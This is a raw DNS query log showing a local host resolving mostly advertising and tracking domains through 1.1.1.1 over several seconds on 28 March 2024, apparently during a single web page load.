Mar 28, 2024 09:51:23.988522053 CET	192.168.2.4	1.1.1.1	0x29d5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.989202976 CET	192.168.2.4	1.1.1.1	0xcf95	Standard query (0)	s.richaudience.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.989342928 CET	192.168.2.4	1.1.1.1	0x10b5	Standard query (0)	s.richaudience.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.989936113 CET	192.168.2.4	1.1.1.1	0xebb5	Standard query (0)	track.sunmedia.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.990117073 CET	192.168.2.4	1.1.1.1	0x6be1	Standard query (0)	track.sunmedia.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.991801023 CET	192.168.2.4	1.1.1.1	0xfa02	Standard query (0)	c.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.991928101 CET	192.168.2.4	1.1.1.1	0x3bee	Standard query (0)	c.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.992239952 CET	192.168.2.4	1.1.1.1	0xfcbe	Standard query (0)	pub.admanmedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.992352962 CET	192.168.2.4	1.1.1.1	0x6c29	Standard query (0)	pub.admanmedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:23.992795944 CET	192.168.2.4	1.1.1.1	0x2b16	Standard query (0)	hb-api.omnitagjs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.993217945 CET	192.168.2.4	1.1.1.1	0x9ec2	Standard query (0)	hb-api.omnitagjs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.003107071 CET	192.168.2.4	1.1.1.1	0x3b6c	Standard query (0)	shb.richaudience.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.003336906 CET	192.168.2.4	1.1.1.1	0x38e4	Standard query (0)	shb.richaudience.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.003789902 CET	192.168.2.4	1.1.1.1	0xc37c	Standard query (0)	prg.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.003923893 CET	192.168.2.4	1.1.1.1	0xdba5	Standard query (0)	prg.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.005202055 CET	192.168.2.4	1.1.1.1	0xe1a6	Standard query (0)	btlr.sharethrough.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.005386114 CET	192.168.2.4	1.1.1.1	0x5c58	Standard query (0)	btlr.sharethrough.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.005814075 CET	192.168.2.4	1.1.1.1	0x866f	Standard query (0)	prebid.a-mo.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.006035089 CET	192.168.2.4	1.1.1.1	0x7c6f	Standard query (0)	prebid.a-mo.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.006407022 CET	192.168.2.4	1.1.1.1	0xc71e	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.006521940 CET	192.168.2.4	1.1.1.1	0x1c1	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.007137060 CET	192.168.2.4	1.1.1.1	0x9742	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.007544994 CET	192.168.2.4	1.1.1.1	0xf30e	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.008274078 CET	192.168.2.4	1.1.1.1	0xc04d	Standard query (0)	onetag-sys.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.008512974 CET	192.168.2.4	1.1.1.1	0x239e	Standard query (0)	onetag-sys.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.009967089 CET	192.168.2.4	1.1.1.1	0x6c66	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.010107040 CET	192.168.2.4	1.1.1.1	0xca7e	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.014951944 CET	192.168.2.4	1.1.1.1	0xbbc3	Standard query (0)	cdn.pbstck.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.015302896 CET	192.168.2.4	1.1.1.1	0x9deb	Standard query (0)	cdn.pbstck.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.030395031 CET	192.168.2.4	1.1.1.1	0x675f	Standard query (0)	prebid.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.030847073 CET	192.168.2.4	1.1.1.1	0xf1e4	Standard query (0)	prebid.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.062906027 CET	192.168.2.4	1.1.1.1	0xb176	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.063049078 CET	192.168.2.4	1.1.1.1	0xf778	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.305728912 CET	192.168.2.4	1.1.1.1	0xd36f	Standard query (0)	pixel.mathtag.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.306085110 CET	192.168.2.4	1.1.1.1	0xfe60	Standard query (0)	pixel.mathtag.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.310374022 CET	192.168.2.4	1.1.1.1	0xe56a	Standard query (0)	dmp.adform.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.310653925 CET	192.168.2.4	1.1.1.1	0x643d	Standard query (0)	dmp.adform.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.505551100 CET	192.168.2.4	1.1.1.1	0xe7dd	Standard query (0)	cdn.adkaora.space	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.505809069 CET	192.168.2.4	1.1.1.1	0x31b8	Standard query (0)	cdn.adkaora.space	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.509130955 CET	192.168.2.4	1.1.1.1	0xd6f8	Standard query (0)	invstatic101.creativecdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.509597063 CET	192.168.2.4	1.1.1.1	0x7abd	Standard query (0)	invstatic101.creativecdn.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.544608116 CET	192.168.2.4	1.1.1.1	0xc2f6	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.544955969 CET	192.168.2.4	1.1.1.1	0xf95f	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.618029118 CET	192.168.2.4	1.1.1.1	0x3463	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.618983984 CET	192.168.2.4	1.1.1.1	0xc812	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:24.626944065 CET	192.168.2.4	1.1.1.1	0x1c84	Standard query (0)	id5-sync.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.627147913 CET	192.168.2.4	1.1.1.1	0xab81	Standard query (0)	id5-sync.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.158618927 CET	192.168.2.4	1.1.1.1	0x5ede	Standard query (0)	tags.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.159053087 CET	192.168.2.4	1.1.1.1	0x4779	Standard query (0)	tags.crwdcntrl.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.160415888 CET	192.168.2.4	1.1.1.1	0x7b2a	Standard query (0)	widgets.outbrain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.160702944 CET	192.168.2.4	1.1.1.1	0xb610	Standard query (0)	widgets.outbrain.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.162430048 CET	192.168.2.4	1.1.1.1	0x83e2	Standard query (0)	id.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.162703991 CET	192.168.2.4	1.1.1.1	0x6828	Standard query (0)	id.crwdcntrl.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.164407969 CET	192.168.2.4	1.1.1.1	0x11cd	Standard query (0)	eus.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.164849043 CET	192.168.2.4	1.1.1.1	0xc5b3	Standard query (0)	eus.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.165327072 CET	192.168.2.4	1.1.1.1	0xc57f	Standard query (0)	csync.smilewanted.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.165635109 CET	192.168.2.4	1.1.1.1	0xb1ce	Standard query (0)	csync.smilewanted.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.165901899 CET	192.168.2.4	1.1.1.1	0xdd0d	Standard query (0)	acdn.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.166083097 CET	192.168.2.4	1.1.1.1	0x3c34	Standard query (0)	acdn.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.172666073 CET	192.168.2.4	1.1.1.1	0x3156	Standard query (0)	sync.admanmedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.172949076 CET	192.168.2.4	1.1.1.1	0x75b1	Standard query (0)	sync.admanmedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.173373938 CET	192.168.2.4	1.1.1.1	0xf06	Standard query (0)	onetag-sys.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.173760891 CET	192.168.2.4	1.1.1.1	0x6b23	Standard query (0)	onetag-sys.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.175306082 CET	192.168.2.4	1.1.1.1	0x94bb	Standard query (0)	js-sec.indexww.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.175486088 CET	192.168.2.4	1.1.1.1	0x4776	Standard query (0)	js-sec.indexww.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.176228046 CET	192.168.2.4	1.1.1.1	0x7e14	Standard query (0)	visitor.omnitagjs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.176630974 CET	192.168.2.4	1.1.1.1	0x33ae	Standard query (0)	visitor.omnitagjs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.177087069 CET	192.168.2.4	1.1.1.1	0xf069	Standard query (0)	sync.a-mo.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.177442074 CET	192.168.2.4	1.1.1.1	0xe9ea	Standard query (0)	sync.a-mo.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.177966118 CET	192.168.2.4	1.1.1.1	0x153f	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.178535938 CET	192.168.2.4	1.1.1.1	0xaf31	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:25.796123028 CET	192.168.2.4	1.1.1.1	0x44c9	Standard query (0)	lb.eu-1-id5-sync.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.796314955 CET	192.168.2.4	1.1.1.1	0xfa94	Standard query (0)	lb.eu-1-id5-sync.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.014561892 CET	192.168.2.4	1.1.1.1	0x8a81	Standard query (0)	cdn.prod.uidapi.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.015031099 CET	192.168.2.4	1.1.1.1	0xcab3	Standard query (0)	cdn.prod.uidapi.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.050376892 CET	192.168.2.4	1.1.1.1	0x21ae	Standard query (0)	csync-us.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.050633907 CET	192.168.2.4	1.1.1.1	0xe21c	Standard query (0)	csync-us.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.237565994 CET	192.168.2.4	1.1.1.1	0xcd41	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.238301039 CET	192.168.2.4	1.1.1.1	0x4dd8	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.240184069 CET	192.168.2.4	1.1.1.1	0x2589	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.240976095 CET	192.168.2.4	1.1.1.1	0xb209	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.242109060 CET	192.168.2.4	1.1.1.1	0x1a15	Standard query (0)	i.liadm.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.242971897 CET	192.168.2.4	1.1.1.1	0x9278	Standard query (0)	i.liadm.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.259823084 CET	192.168.2.4	1.1.1.1	0x89d4	Standard query (0)	bttrack.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.267067909 CET	192.168.2.4	1.1.1.1	0x2304	Standard query (0)	bttrack.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.269253969 CET	192.168.2.4	1.1.1.1	0xe348	Standard query (0)	dmp.brand-display.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.269635916 CET	192.168.2.4	1.1.1.1	0x965e	Standard query (0)	dmp.brand-display.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.269974947 CET	192.168.2.4	1.1.1.1	0x182e	Standard query (0)	pixel-sync.sitescout.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.270658016 CET	192.168.2.4	1.1.1.1	0x77f4	Standard query (0)	pixel-sync.sitescout.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.275072098 CET	192.168.2.4	1.1.1.1	0x69f	Standard query (0)	um.simpli.fi	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.458558083 CET	192.168.2.4	1.1.1.1	0xe8dc	Standard query (0)	um.simpli.fi	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.504542112 CET	192.168.2.4	1.1.1.1	0x89d4	Standard query (0)	connectid.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.504923105 CET	192.168.2.4	1.1.1.1	0xf3ca	Standard query (0)	connectid.analytics.yahoo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.552834034 CET	192.168.2.4	1.1.1.1	0xc6aa	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.553101063 CET	192.168.2.4	1.1.1.1	0xa807	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:26.565637112 CET	192.168.2.4	1.1.1.1	0x3b1c	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.565959930 CET	192.168.2.4	1.1.1.1	0x3529	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:27.226277113 CET	192.168.2.4	1.1.1.1	0x3f4f	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.226468086 CET	192.168.2.4	1.1.1.1	0x2993	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:27.230766058 CET	192.168.2.4	1.1.1.1	0x6050	Standard query (0)	cdn-ima.33across.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.231003046 CET	192.168.2.4	1.1.1.1	0xf021	Standard query (0)	cdn-ima.33across.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:27.234678984 CET	192.168.2.4	1.1.1.1	0x222	Standard query (0)	tracker.neodatagroup.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.234817982 CET	192.168.2.4	1.1.1.1	0x174c	Standard query (0)	tracker.neodatagroup.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:27.264389038 CET	192.168.2.4	1.1.1.1	0xc896	Standard query (0)	oa.openxcdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.264610052 CET	192.168.2.4	1.1.1.1	0x8a9d	Standard query (0)	oa.openxcdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:27.266659975 CET	192.168.2.4	1.1.1.1	0xf065	Standard query (0)	static.criteo.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:27.266793013 CET	192.168.2.4	1.1.1.1	0xf9fb	Standard query (0)	static.criteo.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.424190998 CET	192.168.2.4	1.1.1.1	0x1de0	Standard query (0)	onesignal.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.424679995 CET	192.168.2.4	1.1.1.1	0x6d88	Standard query (0)	onesignal.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.426340103 CET	192.168.2.4	1.1.1.1	0x57dd	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.427028894 CET	192.168.2.4	1.1.1.1	0x215f	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.427680016 CET	192.168.2.4	1.1.1.1	0x8521	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.427884102 CET	192.168.2.4	1.1.1.1	0x8069	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.428925991 CET	192.168.2.4	1.1.1.1	0x15a2	Standard query (0)	dmp.adform.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.429174900 CET	192.168.2.4	1.1.1.1	0x3984	Standard query (0)	dmp.adform.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.433017015 CET	192.168.2.4	1.1.1.1	0x3ecc	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.477648020 CET	192.168.2.4	1.1.1.1	0x9ce	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.478333950 CET	192.168.2.4	1.1.1.1	0xd6ba	Standard query (0)	dmp.v.fwmrm.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.479315042 CET	192.168.2.4	1.1.1.1	0xaee7	Standard query (0)	dmp.v.fwmrm.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.480390072 CET	192.168.2.4	1.1.1.1	0x9121	Standard query (0)	image6.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.480623960 CET	192.168.2.4	1.1.1.1	0xe495	Standard query (0)	image6.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.484195948 CET	192.168.2.4	1.1.1.1	0xa6d4	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.484493017 CET	192.168.2.4	1.1.1.1	0xf9a5	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.486991882 CET	192.168.2.4	1.1.1.1	0x6eae	Standard query (0)	rtb.mfadsrvr.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.487173080 CET	192.168.2.4	1.1.1.1	0x2a83	Standard query (0)	rtb.mfadsrvr.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.488076925 CET	192.168.2.4	1.1.1.1	0xe026	Standard query (0)	sync.mathtag.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.488552094 CET	192.168.2.4	1.1.1.1	0xec90	Standard query (0)	sync.mathtag.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.489346027 CET	192.168.2.4	1.1.1.1	0xf09c	Standard query (0)	pixel-eu.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.490139961 CET	192.168.2.4	1.1.1.1	0x7631	Standard query (0)	pixel-eu.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.491803885 CET	192.168.2.4	1.1.1.1	0x8041	Standard query (0)	ads.stickyadstv.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.492253065 CET	192.168.2.4	1.1.1.1	0xc62d	Standard query (0)	ads.stickyadstv.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.492999077 CET	192.168.2.4	1.1.1.1	0xa1a8	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.493537903 CET	192.168.2.4	1.1.1.1	0x7473	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.494700909 CET	192.168.2.4	1.1.1.1	0x6b5a	Standard query (0)	cs.admanmedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.495172024 CET	192.168.2.4	1.1.1.1	0x640	Standard query (0)	cs.admanmedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:28.495951891 CET	192.168.2.4	1.1.1.1	0x96f1	Standard query (0)	t.adx.opera.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:28.496444941 CET	192.168.2.4	1.1.1.1	0x48dd	Standard query (0)	t.adx.opera.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:29.755877972 CET	192.168.2.4	1.1.1.1	0x8a9f	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.755996943 CET	192.168.2.4	1.1.1.1	0x7f1e	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:29.845340967 CET	192.168.2.4	1.1.1.1	0x9c53	Standard query (0)	esp.rtbhouse.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:29.845560074 CET	192.168.2.4	1.1.1.1	0xace6	Standard query (0)	esp.rtbhouse.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.558131933 CET	192.168.2.4	1.1.1.1	0x2728	Standard query (0)	public.servenobid.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.558563948 CET	192.168.2.4	1.1.1.1	0x9151	Standard query (0)	public.servenobid.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.571172953 CET	192.168.2.4	1.1.1.1	0x1f7c	Standard query (0)	ssc-cms.33across.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.571434021 CET	192.168.2.4	1.1.1.1	0x9321	Standard query (0)	ssc-cms.33across.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.582149982 CET	192.168.2.4	1.1.1.1	0xcaf3	Standard query (0)	secure-assets.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.582623005 CET	192.168.2.4	1.1.1.1	0x9ed7	Standard query (0)	secure-assets.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.584659100 CET	192.168.2.4	1.1.1.1	0xf398	Standard query (0)	trz.neodatagroup.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.585046053 CET	192.168.2.4	1.1.1.1	0x7296	Standard query (0)	trz.neodatagroup.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.597748995 CET	192.168.2.4	1.1.1.1	0x1e56	Standard query (0)	aax.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.598107100 CET	192.168.2.4	1.1.1.1	0xdf49	Standard query (0)	aax.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.603516102 CET	192.168.2.4	1.1.1.1	0x2819	Standard query (0)	d.omg.neodatagroup.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.603941917 CET	192.168.2.4	1.1.1.1	0x38c7	Standard query (0)	d.omg.neodatagroup.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.611118078 CET	192.168.2.4	1.1.1.1	0x886	Standard query (0)	at.teads.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.611726999 CET	192.168.2.4	1.1.1.1	0x4296	Standard query (0)	at.teads.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.614907026 CET	192.168.2.4	1.1.1.1	0xc18d	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.615567923 CET	192.168.2.4	1.1.1.1	0x97ec	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.616163015 CET	192.168.2.4	1.1.1.1	0xed1	Standard query (0)	cpu32-zs9v8.ads.tremorhub.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.616578102 CET	192.168.2.4	1.1.1.1	0xc788	Standard query (0)	cpu32-zs9v8.ads.tremorhub.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.617652893 CET	192.168.2.4	1.1.1.1	0x3d7d	Standard query (0)	geo.privacymanager.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.617928028 CET	192.168.2.4	1.1.1.1	0xc387	Standard query (0)	geo.privacymanager.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.618948936 CET	192.168.2.4	1.1.1.1	0x44a0	Standard query (0)	public-api.wordpress.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.619103909 CET	192.168.2.4	1.1.1.1	0x20a2	Standard query (0)	public-api.wordpress.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.630774975 CET	192.168.2.4	1.1.1.1	0x3c62	Standard query (0)	ads.viralize.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.631048918 CET	192.168.2.4	1.1.1.1	0x8a7d	Standard query (0)	ads.viralize.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.632751942 CET	192.168.2.4	1.1.1.1	0x54c0	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.633258104 CET	192.168.2.4	1.1.1.1	0xc99c	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.665981054 CET	192.168.2.4	1.1.1.1	0x11d4	Standard query (0)	sync.tidaltv.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.666352987 CET	192.168.2.4	1.1.1.1	0x5b58	Standard query (0)	sync.tidaltv.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:30.768399000 CET	192.168.2.4	1.1.1.1	0xc18a	Standard query (0)	dsum.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:30.769078970 CET	192.168.2.4	1.1.1.1	0xd3f7	Standard query (0)	dsum.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.083107948 CET	192.168.2.4	1.1.1.1	0x43c7	Standard query (0)	sync.tidaltv.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.116595984 CET	192.168.2.4	1.1.1.1	0x7afe	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.117230892 CET	192.168.2.4	1.1.1.1	0x4314	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.118886948 CET	192.168.2.4	1.1.1.1	0x63e6	Standard query (0)	dis.criteo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.119287014 CET	192.168.2.4	1.1.1.1	0x740e	Standard query (0)	dis.criteo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.124715090 CET	192.168.2.4	1.1.1.1	0x8dcd	Standard query (0)	creativecdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.124980927 CET	192.168.2.4	1.1.1.1	0x3099	Standard query (0)	creativecdn.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.126405954 CET	192.168.2.4	1.1.1.1	0x56af	Standard query (0)	api-2-0.spot.im	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.126796961 CET	192.168.2.4	1.1.1.1	0x300	Standard query (0)	api-2-0.spot.im	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.127482891 CET	192.168.2.4	1.1.1.1	0xf40e	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.127791882 CET	192.168.2.4	1.1.1.1	0xa220	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.129143953 CET	192.168.2.4	1.1.1.1	0x7944	Standard query (0)	match.prod.bidr.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.129461050 CET	192.168.2.4	1.1.1.1	0xf09c	Standard query (0)	match.prod.bidr.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.176630020 CET	192.168.2.4	1.1.1.1	0x781d	Standard query (0)	image8.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.176903009 CET	192.168.2.4	1.1.1.1	0xe60a	Standard query (0)	image8.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.177670956 CET	192.168.2.4	1.1.1.1	0x7d7c	Standard query (0)	ums.acuityplatform.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.178746939 CET	192.168.2.4	1.1.1.1	0xac04	Standard query (0)	ums.acuityplatform.com	65	IN (0x0001)	false
